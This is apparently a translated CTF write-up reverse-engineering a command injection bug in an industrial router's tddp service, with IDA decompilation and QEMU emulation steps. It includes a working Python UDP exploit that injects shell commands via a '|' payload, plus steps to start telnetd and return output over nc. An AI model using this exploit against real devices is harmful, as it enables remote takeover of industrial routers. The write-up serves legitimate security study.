Seen by an industrial router firmware Reverse title Command Execution Vulnerability

Foreword

2019 Industrial Safety Reverse title game a firmware first, it seems relatively simple, a lot of people have made out. Here are static and dynamic analysis to reproduce at hole debugging command execution.

Tournament title Description

Subject to it very real scenario: the emergence of router command injection when dealing tddp agreement, leading to remote command execution. It is made out of the back of this answer format submitted ye not right ...

image.png-95.6kB

Subject to a zip file, extract from a bin file.

image.png-52.5kB

Use binwalk -Me directly extract obtained with a standard linux-style file system:

image.png-341.3kB

After get the file system, you need to locate the appropriate point of vulnerability, which is in the process tddp agreement binary file.

When the subject of the request to find the CMD _? _? Message type format, then use the grep -rnl "CMD_." *command, and then navigate to the usr / bin / tddp this document according to tddp agreement, then began to static analysis.

image.png-178.5kB

Environment to build

Preparation Tool

  • binwalk
  • EAST
  • qemu-arm

Here attempt dynamic debugging under qemu user mode are found, it is required in the system firmware mode will run up , so we should be building system environment.

qemu arm's environment:
https://pan.baidu.com/s/1rDvn8WkHAIB2cwTXih-gMw extraction code: xpnl

Installation in that article have made it very clear, do not repeat the wheel made.

静态分析

将 ./usr/bin/tddp 加载到 IDA 中,搜索关键字符串,这些关键字都在同一个函数中,回溯可以找到漏洞的函数。

image.png-135.2kB

函数的代码比较长,所以中间省略了一部分,这个函数就是对通过运行在 1040 端口上的 tddp 协议接收到的数据进行解析,并执行相应的分支操作。(函数中使用了 switch case 来实现)

int __fastcall CMD_handle(_BYTE *a1, _DWORD *a2)
{
  uint32_t v2; // r0
  __int16 v3; // r2
  uint32_t v4; // r0
  __int16 v5; // r2
  _DWORD *v7; // [sp+0h] [bp-24h]
  _BYTE *v8; // [sp+4h] [bp-20h]
  _BYTE *v9; // [sp+Ch] [bp-18h]
  _BYTE *v10; // [sp+10h] [bp-14h]
  int v11; // [sp+1Ch] [bp-8h]

  v8 = a1;
  v7 = a2;
  v10 = a1 + 0xB01B;
  v9 = a1 + 0x52;
  a1[0x52] = 1;
  switch ( a1[0xB01C] )
  {
    case 4:
      printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", 103928, 697);
      v11 = sub_AC78(v8);
      break;
    case 6:
      printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MAC\n", 103928, 638);
      v11 = sub_9944(v8);
      break;
    case 7:
      printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TEST\n", 103928, 648);
      v11 = sub_ADDC(v8);
      if ( !v8 || !(*(v8 + 11) & 4) || !v8 || !(*(v8 + 11) & 8) || !v8 || !(*(v8 + 11) & 0x10) )
        *(v8 + 11) &= 0xFFFFFFFD;
      *(v8 + 8) = 0;
      *(v8 + 11) &= 0xFFFFFFFE;
      break;
    case 8:
      printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TEST\n", 103928, 702);
      *(v8 + 11) &= 0xFFFFFFFE;
      v11 = 0;
      break;
    case 0xA:
      printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_ID\n", 103928, 643);
      v11 = sub_9C24(v8);
      break;
    case 0xC:
      printf("[%s():%d] TDDPv1: receive CMD_SYS_INIT\n", 103928, 615);
     .....
    case 0xD:
      printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PIN\n", 103928, 682);
      v11 = sub_A97C(v8);
      break;
    case 0x30:
      printf("[%s():%d] TDDPv1: receive CMD_FTEST_USB\n", 103928, 687);
      v11 = sub_A3C8(v8);
      break;
    case 0x31:
      printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
      v11 = vuln(v8);           // 漏洞点在此
      break;
    default:
     ....
  }
  *v7 = ntohl((v9[7] << 24) | (v9[6] << 16) | (v9[5] << 8) | v9[4]) + 12;
  return v11;
}

漏洞点在处理 CMD_FTEST_CONFIG 所在的 0x31 这个分支,跟进一下。(这里传入的参数 v8 为通过 tddp 协议传进来的数据体指针)

vuln 函数

这里调用了 sscanf 函数对传进来的结构体进行解析之后,拼接到 run_exec 函数中进行命令执行。但是这里过滤不严(只判断了 ; 字符,没有过滤 & 和 | 符号),可以进行命令注入,导致拼接恶意代码后可以进行任意命令执行。

int __fastcall vuln(int a1)
{
  void *v1; // r0
  uint32_t v2; // r0
  _BYTE *v3; // r3
  __int16 v4; // r2
  _BYTE *v5; // r3
  int v6; // r0
  int v7; // r1
  int v10; // [sp+4h] [bp-E8h]
  char name; // [sp+8h] [bp-E4h]
  char v12; // [sp+48h] [bp-A4h]
  char s; // [sp+88h] [bp-64h]
  _BYTE *v14; // [sp+C8h] [bp-24h]
  _BYTE *v15; // [sp+CCh] [bp-20h]
  int v16; // [sp+D0h] [bp-1Ch]
  int v17; // [sp+D4h] [bp-18h]
  char *v18; // [sp+D8h] [bp-14h]
  int v19; // [sp+DCh] [bp-10h]
  unsigned int v20; // [sp+E0h] [bp-Ch]
  char *v21; // [sp+E4h] [bp-8h]

  v10 = a1;
  v20 = 1;
  v19 = 4;
  memset(&s, 0, 0x40u);
  memset(&v12, 0, 0x40u);
  v1 = memset(&name, 0, 0x40u);
  v18 = 0;
  v17 = luaL_newstate(v1);
  v21 = (v10 + 0xB01B);
  v16 = v10 + 82;
  v15 = (v10 + 0xB01B);
  v14 = (v10 + 82);
  *(v10 + 83) = 49;
  v2 = htonl(0);
  v3 = v14;
  v14[4] = v2;
  v3[5] = BYTE1(v2);
  v3[6] = BYTE2(v2);
  v3[7] = HIBYTE(v2);
  v14[2] = 2;
  v4 = (v15[9] << 8) | v15[8];
  v5 = v14;
  v14[8] = v15[8];
  v5[9] = HIBYTE(v4);
  if ( *v15 == 1 )
  {
    v21 += 12;
    v16 += 12;
  }
  else
  {
    v21 += 28;
    v16 += 28;
  }
  if ( !v21 )
    goto LABEL_20;
  sscanf(v21, "%[^;];%s", &s, &v12);            // %[^;|&|\|]
  if ( !s || !v12 )
  {
    printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
LABEL_20:
    v14[3] = 3;
    return error(-10303, 94892);
  }
  v18 = inet_ntoa(*(v10 + 4));
  run_exec("cd /tmp;tftp -gr %s %s &", &s, v18);  // 漏洞点
  sprintf(&name, "/tmp/%s", &s);
  while ( v19 > 0 )
  {
    sleep(1u);
    if ( !access(&name, 0) )
      break;
    --v19;
  }
  if ( !v19 )
  {
    printf("[%s():%d] lua file [%s] don't exsit.\n", 98236, 574, &name);
    goto LABEL_20;
  }
  if ( v17 )
  {
    luaL_openlibs(v17);
    if ( !luaL_loadfile(v17, &name) )
      lua_pcall(v17, 0, -1, 0);
    lua_getfield(v17, -10002, 94880);
    lua_pushstring(v17, &v12);
    lua_pushstring(v17, v18);
    lua_call(v17, 2, 1);
    v6 = lua_tonumber(v17, -1);
    v20 = sub_16EC4(v6, v7);
    lua_settop(v17, -2);
  }
  lua_close(v17);
  if ( v20 )
    goto LABEL_20;
  v14[3] = 0;
  return 0;
}
  • sscanf 函数作用时将第一个参数的值,根据格式化字符串解析到后面的参数中。

run_exec 函数

这里直接调用了 execve 函数进行命令执行。

signed int run_exec(const char *a1, ...)
{
  char *argv; // [sp+8h] [bp-11Ch]
  int v4; // [sp+Ch] [bp-118h]
  char *v5; // [sp+10h] [bp-114h]
  int v6; // [sp+14h] [bp-110h]
  int stat_loc; // [sp+18h] [bp-10Ch]
  char s; // [sp+1Ch] [bp-108h]
  __pid_t pid; // [sp+11Ch] [bp-8h]
  const char *varg_r0; // [sp+128h] [bp+4h]
  va_list varg_r1; // [sp+12Ch] [bp+8h]

  va_start(varg_r1, a1);
  varg_r0 = a1;
  pid = 0;
  stat_loc = 0;
  argv = 0;
  v4 = 0;
  v5 = 0;
  v6 = 0;
  vsprintf(&s, a1, varg_r1);
  printf("[%s():%d] cmd: %s \r\n", 94112, 72, &s);
  pid = fork();
  if ( pid < 0 )
    return -1;
  if ( !pid )
  {
    argv = "sh";
    v4 = 0x16F4C;
    v5 = &s;
    v6 = 0;
    execve("/bin/sh", &argv, 0);
    exit(127);
  }
  while ( waitpid(pid, &stat_loc, 0) == -1 )
  {
    if ( *_errno_location() != 4 )
      return -1;
  }
  return 0;
}

根据函数的调用链交叉引用,回溯分析传进来 CMD_handle 函数的参数。

调用链分析

image.png-34.8kB

在 函数名称处按下 X 键,定位到 data_handle 函数。函数中有一个 recvfrom 函数用来接收 socket 数据,存放到 v16+0xB01B 地址中,之后将 v16 传入 CMD_handle 函数。

int __fastcall data_handle(int a1)
{
  int v1; // r3
  int v2; // r3
  int v3; // r0
  uint32_t v4; // r0
  _BYTE *v5; // r3
  __int16 v6; // r2
  _BYTE *v7; // r3
  int v8; // r0
  uint32_t v9; // r0
  _BYTE *v10; // r3
  __int16 v11; // r2
  _BYTE *v12; // r3
  _BYTE *v13; // r3
  int v14; // r3
  int v16; // [sp+Ch] [bp-30h]
  size_t n; // [sp+10h] [bp-2Ch]
  socklen_t addr_len; // [sp+14h] [bp-28h]
  struct sockaddr addr; // [sp+18h] [bp-24h]
  ssize_t v20; // [sp+28h] [bp-14h]
  _BYTE *v21; // [sp+2Ch] [bp-10h]
  unsigned __int8 *v22; // [sp+30h] [bp-Ch]
  int v23; // [sp+34h] [bp-8h]

  v16 = a1;
  v23 = 0;
  addr_len = 16;
  n = 0;
  memset((a1 + 0xB01B), 0, 0xAFC9u);
  memset((v16 + 0x52), 0, 0xAFC9u);
  v22 = (v16 + 0xB01B);
  v21 = (v16 + 0x52);
  v20 = recvfrom(*(v16 + 36), (v16 + 0xB01B), 0xAFC8u, 0, &addr, &addr_len);// 第二个参数就是 buf 的位置
  if ( v20 < 0 )
    return sub_13018(-10106, 103880);
  sub_15458(v16);
  *(v16 + 44) |= 1u;
  v2 = *v22;
  if ( v2 == 1 )
  {
    v8 = sub_15AD8(v16, &addr);
    if ( v8 )
    {
      *(v16 + 52) = sub_9340(v8);
      v23 = CMD_handle(v16, &n);            // 这里调用了命令处理的函数
    }
    else
    {
      v23 = -10301;
      *v21 = 1;
      v21[1] = v22[1];
      v21[2] = 2;
      v21[3] = 8;
      v9 = htonl(0);
      v10 = v21;
      v21[4] = v9;
      v10[5] = BYTE1(v9);
      v10[6] = BYTE2(v9);
      v10[7] = HIBYTE(v9);
      v11 = (v22[9] << 8) | v22[8];
      v12 = v21;
      v21[8] = v22[8];
      v12[9] = HIBYTE(v11);
    }
  }
  else if ( v2 == 2 )
  {
    v3 = sub_15AD8(v16, &addr);
    if ( v3 )
    {
      *(v16 + 52) = sub_9340(v3);
      v23 = sub_15BB8(v16, &n);
    }
    else
    {
      v23 = -10301;
      *v21 = 2;
      v21[1] = v22[1];
      v21[2] = 2;
      v21[3] = 8;
      v4 = htonl(0);
      v5 = v21;
      v21[4] = v4;
      v5[5] = BYTE1(v4);
      v5[6] = BYTE2(v4);
      v5[7] = HIBYTE(v4);
      v6 = (v22[9] << 8) | v22[8];
      v7 = v21;
      v21[8] = v22[8];
      v7[9] = HIBYTE(v6);
      sub_15830(v16, &n);
    }
  }
  else
  {
    v21[3] = 7;
    v13 = v21;
    v21[4] = 0;
    v13[5] = 0;
    v13[6] = 0;
    v13[7] = 0;
    n = ((v21[7] << 24) | (v21[6] << 16) | (v21[5] << 8) | v21[4]) + 12;
  }
  if ( v16 )
    v14 = *(v16 + 44) & 1;
  else
    v14 = 0;
  if ( v14 && sendto(*(v16 + 36), (v16 + 82), n, 0, &addr, 0x10u) == -1 )
    v1 = sub_13018(-10105, 103896);
  else
    v1 = v23;
  return v1;
}

再往回分析就是对堆空间的一个结构体进行初始化的操作:

int sub_936C()
{
  #37 *v0; // r4
  int optval; // [sp+Ch] [bp-B0h]
  int v3; // [sp+10h] [bp-ACh]
  struct timeval timeout; // [sp+14h] [bp-A8h]
  fd_set readfds; // [sp+1Ch] [bp-A0h]
  #37 *heap_space; // [sp+9Ch] [bp-20h]
  int v7; // [sp+A0h] [bp-1Ch]
  int nfds; // [sp+A4h] [bp-18h]
  fd_set *v9; // [sp+A8h] [bp-14h]
  unsigned int i; // [sp+ACh] [bp-10h]
  char v11[12]; // [sp+B0h] [bp-Ch]

  heap_space = 0;
  v3 = 1;
  optval = 1;
  printf("[%s():%d] tddp task start\n", 94096, 0x97);
  if ( !sub_16ACC(&heap_space)
    && !socket_new(heap_space + 9)
    && !setsockopt(*(heap_space + 9), 1, 2, &optval, 4u)
    && !bind_port(*(heap_space + 9), 1040u)
    && !setsockopt(*(heap_space + 9), 1, 6, &v3, 4u) )
  {
   ....
    while ( 1 )
    {
      do
      {
       ...
      }
      while ( v7 == -1 );
      if ( !v7 )
        break;
      if ( (*&v11[4 * (*(heap_space + 9) >> 5) - 148] >> (*(heap_space + 9) & 0x1F)) & 1 )
        data_handle(heap_space);        // 函数调用
    }
  }
  sub_16E0C(*(heap_space + 9));
  sub_16C18(heap_space);
  return printf("[%s():%d] tddp task exit\n", 94096, 219);
}

// sub_16ACC 函数为初始化过程:
nt __fastcall sub_16ACC(_DWORD *a1)
{
  _DWORD *v3; // [sp+4h] [bp-10h]
  _DWORD *s; // [sp+8h] [bp-Ch]
  int v5; // [sp+Ch] [bp-8h]

  v3 = a1;
  if ( !a1 )
    return error(-10202, 104096);
  s = calloc(1u, 0x15FE4u);
  if ( !s )
    return error(-10202, 104112);
  v5 = sub_16878(s);
  if ( v5 )
    return v5;
  memset(s + 0xE, 0, 9u);
  memset(s + 0x52, 0, 0xAFC9u);
  memset(s + 0xB01B, 0, 0xAFC9u);
  memset(s + 0x41, 0, 0x11u);
  memset(s, 0, 0x28u);
  s[9] = -1;
  s[8] = 0;
  *v3 = s;
  return 0;
}

根据堆内存的初始化过程,可以对结构体空间进行表示:

image.png-31.5kB

题目中问到:第几个字节为多少时,会触命令执行漏洞?

根据 CMD_handle 函数的判断:

接收数据的存储开始位置是在 0xB01B,这里 switch 判断的是 0XB01C 位置,所以相对偏移就是 1,也就是第二个位置。

  v8 = a1;
  v7 = a2;
  v10 = a1 + 0xB01B;
  v9 = a1 + 0x52;
  a1[0x52] = 1;
  switch ( a1[0xB01C] )
  ...
  case 0x31:
  printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
  v11 = vuln(v8);

Here's the answer should be: CMD_FTEST_CONFIG+0x1+0x31but how is wrong to submit the game ...

Dynamic debugging

The method used here qemu emulator firmware will run up to try to get his command injection shell.

The method according to the article, and then configure a virtual network card, run the following command to simulate the firmware up:

qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

Mount directory, switch the root directory:

mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot squashfs-root sh

Start Service

Tddp run directly tddp command to start the service, use nmap to scan the UDP port is open.

  • Here, then scanned using TCP will find the port is closed.

image.png-58.5kB

The written EXP

First, the data sent in the first two bytes must \\0x1\\0x31, 10 bytes need to fill the middle, because the pointer shift v21 here 12 , and therefore needs to be filled intermediate.

image.png-35.5kB

Followed by injection requires code:

payload = '\x01\x31'.ljust(12,'\x00')
payload+= "123|%s&&echo ;123"%(command)
  • It should be noted here that in paylaod, in; last fill characters needed , because after use sscanf command determination function is divided; behind the content is empty.
  sscanf(v21, "%[^;];%s", &s, &v12);            // %[^;|&|\|]
  if ( !s || !v12 )
  {
    printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
LABEL_20:
    v14[3] = 3;
    return error(-10303, 94892);
  }

Then using UDP socket interface to be transmitted:

Last exp as follows:

from pwn import *
from socket import *
import sys

tddp_port = 1040
recv_port = 12345
ip = sys.argv[1]
command = sys.argv[2]

s_send = socket(AF_INET,SOCK_DGRAM,0)
s_recv = socket(AF_INET,SOCK_DGRAM,0)

s_recv.bind(('',12345))

payload = '\x01\x31'.ljust(12,'\x00')
payload+= "123|%s&&echo ;123"%(command)

s_send.sendto(payload,(ip,tddp_port))
s_send.close()

res,addr = s_recv.recvfrom(1024)
print res

Execute a uname look:

image.png-97.3kB

Open telnetd service:

image.png-169.7kB

Well, here it has been connected, but there is no remote telnet for terminal services, and with just a firmware nc, nc then use it to bomb a shell.

Nc not found with a bomb shell functions. . It would only be able to command the contents of forward connected to the output.

image.png-16.6kB

As shown, a monitor in the local port, the result of command execution will be displayed locally by nc.
image.png-138.1kB

So far vulnerability reproduction is completed.

Of course, a legitimate lua script injection, let the program go visit after executing commands are possible, this method is used in the referenced article.

to sum up

This command execution vulnerability used to practice hand is good, learned a lot.

Reference article

https://paper.seebug.org/879
https://segmentfault.com/a/1190000018351915

Guess you like

Origin www.cnblogs.com/H4lo/p/11287808.html